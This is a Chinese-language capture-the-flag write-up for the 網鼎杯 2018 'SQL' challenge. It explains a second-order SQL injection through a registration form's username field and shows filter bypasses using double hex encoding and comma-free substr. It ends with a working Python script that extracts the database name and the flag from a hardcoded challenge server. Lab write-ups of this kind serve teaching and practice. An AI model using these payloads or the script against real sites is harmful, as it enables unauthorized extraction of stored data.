題目來源:網鼎杯 2018
題目描述:SQL
題目如下,是個登錄頁面
通過awvs掃描得知存在 register.php 注冊頁面,並且注冊界面存在SQL盲注漏洞。
題目提示SQL,在注冊頁面測試無果,且發現輸入框限制了特殊字符,要用代理工具提交payload。
嘗試構造sql盲注語句username=alice' and left(database(),1)>'a'#
得到結果為nnnnoooo!!!
即存在過濾
測試發現過濾了逗號、information等,那么使用盲注應該不太行了
嘗試進行正常的注冊、登錄操作
發現注冊成功時,系統返回302跳轉到登錄頁面(注冊失敗時系統返回200)
登錄時,使用郵箱和密碼登錄,登錄成功后,系統返回302跳轉到index.php頁面,顯示用戶名
綜上,登錄時用到的是郵箱和密碼,而注冊時還有一個用戶名,而這個用戶名會在登錄后顯示,所以我們考慮用戶名這里可能存在 二次注入 。
經過嘗試,構造username=select database(),登錄后顯示用戶名還是為select database(),說明后台代碼可能把username用單引號引起來了,導致其無法顯示。
構造payload如下
email=test2%40qq.com&username=0'%2B(select hex(hex(database())))%2B'0&password=123456
進行兩次hex解碼后得到數據庫名為web
>>> "373736353632".decode('hex').decode('hex') 'web'
然后嘗試獲取表名失敗,因為過濾了information
看了評論說表名全靠猜哈哈
至於為什么 payload 要進行兩次 hex 加密,看下面這張圖就明白了。
然后這里還要注意一個問題,就是當數據進過 兩次hex 后,會得到較長的一串只含有數字的字符串,當這個長字符串轉成數字型數據的時候會變成科學計數法,也就是說會丟失數據精度,如下:
所以這里我們使用 substr 每次取10個字符長度與 '0' 相加,這樣就不會丟失數據。但是這里使用逗號 , 會出錯,所以可以使用類似 substr(str from 1 for 10) (表示截取str字符串的第1個到第10個字符)這種寫法來繞過,具體獲取 flag 的代碼如下:
email=test3%40qq.com&username=0'%2B(select substr(hex(hex((select * from flag))) from 1 for 10))%2B'0&password=123456
進行兩次hex解碼后得到flag的前2位為:fl
運行腳本如下:
import requests import time from bs4 import BeautifulSoup #html解析器 def getDatabase(): database = '' for i in range(10): data_database = { 'username':"0'+ascii(substr((select database()) from "+str(i+1)+" for 1))+'0", 'password':'admin', "email":"admin11@admin.com"+str(i) } #注冊 requests.post("http://220.249.52.133:36774/register.php",data_database) login_data={ 'password':'admin', "email":"admin11@admin.com"+str(i) } response=requests.post("http://220.249.52.133:36774/login.php",login_data) html=response.text #返回的頁面 soup=BeautifulSoup(html,'html.parser') getUsername=soup.find_all('span')[0]#獲取用戶名 username=getUsername.text if int(username)==0: break database+=chr(int(username)) return database def getFlag(): flag = '' for i in range(40): data_flag = { 'username':"0'+ascii(substr((select * from flag) from "+str(i+1)+" for 1))+'0", 'password':'admin', "email":"admin32@admin.com"+str(i) } #注冊 requests.post("http://220.249.52.133:36774/register.php",data_flag) login_data={ 'password':'admin', "email":"admin32@admin.com"+str(i) } response=requests.post("http://220.249.52.133:36774/login.php",login_data) html=response.text #返回的頁面 soup=BeautifulSoup(html,'html.parser') getUsername=soup.find_all('span')[0]#獲取用戶名 username=getUsername.text if int(username)==0: break flag+=chr(int(username)) return flag print(getDatabase()) print(getFlag())
運行結果如下:
參考:
https://www.secpulse.com/archives/74776.html
https://blog.csdn.net/qq_41429081/article/details/105600568